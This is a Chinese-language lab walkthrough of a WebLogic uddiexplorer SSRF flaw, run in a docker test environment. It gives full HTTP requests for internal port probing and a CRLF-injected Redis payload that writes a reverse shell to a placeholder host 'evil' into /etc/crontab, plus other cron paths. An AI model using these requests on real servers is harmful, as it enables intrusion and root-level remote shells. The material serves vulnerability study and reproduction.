漏洞介紹:
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。
編譯及啟動測試環境
docker-compose up -d
訪問
http://127.0.0.1:7001/uddiexplorer/
,無需登錄即可查看uddiexplorer應用。
?
1、漏洞測試:
SSRF漏洞測試
SSRF漏洞存在于:
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp
,我們在brupsuite下測試該漏洞。訪問一個可以訪問的IP:PORT,如
http://127.0.0.1:80
:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
2、可訪問的端口將會得到錯誤,一般是返回status code(如下圖),如果訪問的非http協議,則會返回did not have a valid SOAP content-type
。
3、修改為一個不存在的端口,將會返回could not connect over HTTP to server
。
通過錯誤的不同,即可探測內網狀態。
4、注入HTTP頭,利用Redis反彈shell
Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入
%0a%0d
來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器。首先,通過ssrf探測內網中的redis服務器(docker環境的網段一般是172.*),發現
172.18.0.2:6379
可以連通:
發送三條redis命令,將彈shell腳本寫入
/etc/crontab
:set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save進行url編碼:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,換行符是“\r\n”,也就是“%0D%0A”。
將url編碼后的字符串放在ssrf的域名后面,發送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功反彈shell:
最后補充一下,可進行利用的cron有如下幾個地方:
/etc/crontab 這個是肯定的
/etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
/var/spool/cron/root centos系統下root用戶的cron文件
/var/spool/cron/crontabs/root debian系統下root用戶的cron文件